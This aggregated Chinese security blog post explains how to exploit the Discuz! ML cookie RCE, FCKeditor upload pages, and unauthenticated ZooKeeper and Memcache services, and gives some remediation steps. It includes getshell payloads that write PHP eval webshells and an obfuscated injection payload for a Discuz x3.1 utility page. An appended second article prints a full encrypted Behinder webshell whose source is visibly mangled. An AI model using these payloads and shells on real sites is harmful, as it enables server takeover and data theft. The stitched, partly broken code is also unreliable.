2022-10-08(Discuz漏洞FCKeditor文本编辑器漏洞ZooKeeper 未授权访问Memcahe 未授权访问)
Posted 空白行
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2022-10-08(Discuz漏洞FCKeditor文本编辑器漏洞ZooKeeper 未授权访问Memcahe 未授权访问)相关的知识,希望对你有一定的参考价值。
文章目录
Discuz漏洞-请求报文中含有恶意的PHP代码(CVE-2019-13956)
-
漏洞描述
Discuz国际版漏洞存在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。
-
原理
Discuz!ML 系统对cookie中的l接收的language参数内容未过滤
,导致字符串拼接,从而执行php代码。 -
影响版本
Discuz! ML V3.2
Discuz! ML V3.3
Discuz! ML V3.4
-
上传一句话
抓包找到cookie的language的值修改为xxxx_xxxx_language=sc’.phpinfo().’
(点是不能省略的)
getshell 的payload:’.file_put_contents(‘shell.php’,urldecode(’<?php eval($_POST["cmd"]);?>’)).’
,url编码后的形式
是%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
注意的点是
- shell要编码才能上传成功
- 目录是和抓取页面同级的
漏洞复现
-
漏洞存在的位置/upload/source/module/portal/portal_index.php,使用template函数处理’diy:portal/index’,然后使用include_once包含
-
跟进template函数,发现把DISCUZ_LANG函数拼接成为一个缓存文件名,然后又返回了缓存文件名
-
跟进DISCUZ_LANG函数,发现从cookie中取language的值给$lng
-
继续浏览代码,发现把$lng的值赋给DISCUZ_LANG了
-
外部参数
lng ( 即cookie中的language语言)可控
,导致DISCUZ LANG函数获取lng
,然后拼接成缓存文件并且返回了缓存文件名
,导致template函数生成的缓存文件名可控
,插入自己的代码
,最终include_once函数包含一下导致了代码注入
(执行了插入恶意代码的缓存文件名)。
漏洞监测工具是:dz-ml-rce.py
FCKeditor文本编辑器漏洞
查看版本信息
/FCKeditor/editor/dialog/fck_about.html
/FCKeditor/_whatsnew.html
FCKeditor编辑器默认会存在:test.html
和 uploadtest.html
文件,直接访问这些文件可以获取当前文件夹文件名称
以及 上传文件
。
默认上传文件
查找3个页面:fckeditor.html
,test.html
和browser.html
test.html
这是fck的测试文件,很多使用此编辑器的网站也就存在了这个页面,可以上传动态文件
test.html存在2个不同版本
第一个版本的默认路径是FCKeditor/editor/filemanager/connectors/test.html
或者/FCKeditor/editor/filemanager/browser/default/connectors/test.html
直接选择本地文件上传,有时候不成功可以多测试几次connector,有时候可能关闭了asp,只开启了aspx;对于resouse type也是一样,或者只是开启了file或者image其中一个类型的上传。
怎么获取上传地址呢?已经很明显了,点击”get folders and files“
就将返回当前上传文件的地址。
另外一个版本的test.html,相对较少,他的默认路径是FCKeditor/editor/filemanager/upload/test.html
上传后会直接返回上传的路径,所以利用非常方便。
browser.html
默认路径一般是FCKeditor/editor/filemanager/browser/default/browser.html?Type=file&Connector=connectors/asp/connector.asp
这里是利用asp连接器,类型选择为”file“
怎么获取上传之后的地址呢?
FCK是利用xml列出文件的,在连接器中有这样一个命令”GetFoldersAndFiles",
就是列出文件夹和文件。可以尝试运行下面的命令
editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
如果行的话就会列出文件路径。
或者翻一翻网站,找找相似的图片,说不定路径就出来了;再或者试试网页嗅探器。
fckeditor.html
fckeditor.html的默认路径一般是fckeditor/editor/fckeditor.Html
不可以上传文件,可点击上传图片按钮,再选择浏览服务器即可跳转到可上传文件页,可查看已经上传的文件(前提是/FCKeditor/editor/fckeditor.html 页面存在)
连接器
/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx
/FCKeditor/editor/filemanager/connectors/asp/connector.asp
/FCKeditor/editor/filemagager/connectors/php/connector.php
利用方式
- 根据xml返回信息查看网站目录
http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp
- windows 2003 + IIS6 文件解析路径漏洞
通过fckeditor在文件上传页面中,创建 xxx.asp 文件夹,在 xxx.asp 文件夹下上传一个名为 xxx.jpg 的图片后缀名webshell文件,即可获取到其shell - 突破文件名限制
1、重复上传同名文件,绕过:“.” 变为 “-” 的限制
某些版本的FCK上传shell.asp;.jpg 会变为 shell_asp;.jpg,继续上传 shell.asp;.jpg 就会变成:shell.asp;(1).jpg
2、提交shell.php + 空格绕过文件名限制 ---- 只对windows系统有效
修复
- 删除2个test.html
- 关闭上传功能,关闭是在各个连接器的config文件中
比如:asp连接器
editor/filemanager/browser/default/connectors/asp/config.asp,将config.asp中的ConfigIsEnabled的值设置为False - 如果想使用FCK上传,那么就得修改相应的config文件。限制各个动态文件的上传,重命名文件。
- 如果你有服务器权限,那么取消FCK上传目录的“脚本”权限,虽上传,但是已无法运行。
ZooKeeper 未授权访问漏洞利用
简介:
ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。默认安装配置完的zookeeper允许未授权访问
,管理员未配置访问控制列表(ACL)
。导致攻击者可以在默认开放的2181端口
下通过执行envi命令
获得大量敏感信息
(系统名称、java环境)导致任意用户可以在网络不受限的情况下进行未授权访问读取数据
甚至杀死服务
。
复现
如果发现某网站开启了2181端口或者Zookeeper服务
使用kali中envi加nc来获取服务器敏感信息
echo 命令|nc 目标ip 目标端口
stat:列出关于性能和连接的客户端的统计信息。
echo stat |nc 192.168.1.1 2181
ruok:测试服务器是否运行在非错误状态。
echo ruok |nc 192.168.1.1 2181
reqs:列出未完成的请求。
echo reqs |nc 192.168.1.1 2181
envi:打印有关服务环境的详细信息。
echo envi |nc 192.168.1.1 2181
dump:列出未完成的会话和临时节点。
echo dump |nc 192.168.1.1 2181
ZK的节点有5种操作权限:
CREATE、READ、WRITE、DELETE、ADMIN 也就是 增、删、改、查、管理权限,这5种权限简写为crwda(即:每个单词的首字符缩写)
注:这5种权限中,delete是指对子节点的删除权限,其它4种权限指对自身节点的操作权限
权限 描述 setAcl中的简写
write 能够设置znode的值 w
read 能够读取znode的值和列出它的children znode r
create 能够创建children znode c
delete 能够删除children znode d
admin 能够执行setAcl即设置访问控制列表 a
all 所有权限wrcda
修复
-
禁止把Zookeeper直接暴露在公网
-
添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)
方式一
增加认证用户
addauth digest user1:password1
设置权限
setAcl /path auth:user1:password1:cdrwa(权限)
查看Acl设置
getAcl /path
方式二
setAcl /path digest:user1:password1:权限
限制IP只使集群内相关主机能访问2181端口
setAcl /zookeeper ip:1.1.1.1:cdrwa,ip:1.1.1.2:cdrwa,ip:1.1.1.3:cdrwa
- 或者更简单的方式就是配置防火墙,使集群内机器才能访问2181端口,具体命令如下(配置防火墙需谨慎):
iptables -A INPUT -p tcp -m iprange --src-range 1.1.1.1-1.1.1.25 --dport 2181 -j ACCEPT
iptables -A INPUT -p tcp --dport 2181 -j DROP
service iptables save
service iptables restart
chkconfig iptables on
Memcache未授权访问漏洞
描述:
memcache未授权访问漏洞,默认的 11211 端口不需要密码即可访问,攻击者可获取数据库中信息,造成严重的信息泄露。
漏洞成因:
由于memcached安全设计缺陷,客户端连接memcached服务器后无需认证就可读取、修改服务器缓存内容。
漏洞危害:
除memcached中数据可被直接读取泄漏和恶意修改外,由于memcached中的数据像正常网站用户访问提交变量一样会被后端代码处理,当处理代码存在缺陷时会再次导致不同类型的安全问题。
当服务器存在漏洞
telnet连接目标11211端口
# stats //查看memcache 服务状态
# stats items //查看所有items
# stats cachedump 32 0 //获得缓存key(编号为3的第二个)
# get :state:264861539228401373:261588 //通过key读取相应value ,获得实际缓存内容,造成敏感信息泄露
修复
- 配置memcached
监听本地回环地址127.0.0.1
vim /etc/sysconfig/memcached OPTIONS=“-l 127.0.0.1” #设置本地为监听
/etc/init.d/memcached restart #重启服务
- 如果业务要求指示必须通过Internet公开服务时,可使用
主机防火墙
(iptalbes、firewalld等)和网络防火墙对memcached服务端口进行过滤
参考
- Discuz漏洞
- 【Discuz】ML远程代码执行(CVE-2019-13956)
- FCKeditor(FCK)上传漏洞利用原理详解
- 【渗透测试】— FCKeditor文本编辑器漏洞
- ZooKeeper 未授权访问漏洞利用
- zookeeper未授权访问漏洞修复方式
- Memcache未授权访问漏洞
漏洞复现Discuz-x3.1 插件漏洞
Discuz-x3.1 插件漏洞
文章目录
一、漏洞背景
作为国内最大的社区软件及服务提供商,Comsenz旗下的 Discuz! 开发组具有丰富的 web应用程序设计经验,尤其在论坛产品及相关领域,经过长期创新性开发,掌握了一整套从算法,数据结构到产品安全性方面的领先技术。使得 Discuz! 无论在稳定性、负载能力、安全保障等方面都居于国内外同类产品领先地位。
二、信息收集
本地IIS搭建Discuz-x3.1,发现不能直接访问
进行漏洞信息搜集
利用百度、Google等搜索引擎搜集漏洞信息。这些漏洞信息在一些漏洞平台比如CSDN、补天等都可能有,很快便找到了可利用的信息:
192.168.64.132:8251/utility/convert
三、漏洞利用
直接访问http://192.168.64.132:8251/utility/convert/index.php
发现漏洞所在页
用bp抓包,改变请求方式为POST,上传数据
a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes
最后一句上传的数据为重中之重!!!
访问该地址
http://192.168.64.132:8251/utility/convert/data/config.inc.php
最后用蚁剑连接,连接密码为c
蚁剑连接成功,创建文件config.php,写入冰蝎码,用冰蝎连接拿shell
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++)
$post[$i] = $post[$i]^$key[$i+1&15];
else
$post=openssl_decrypt($post, "AES128", $key);
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class Cpublic function __invoke($p) eval($p."");
@call_user_func(new C(),$params);
?>
冰蝎连接成功!!!
以上是关于2022-10-08(Discuz漏洞FCKeditor文本编辑器漏洞ZooKeeper 未授权访问Memcahe 未授权访问)的主要内容,如果未能解决你的问题,请参考以下文章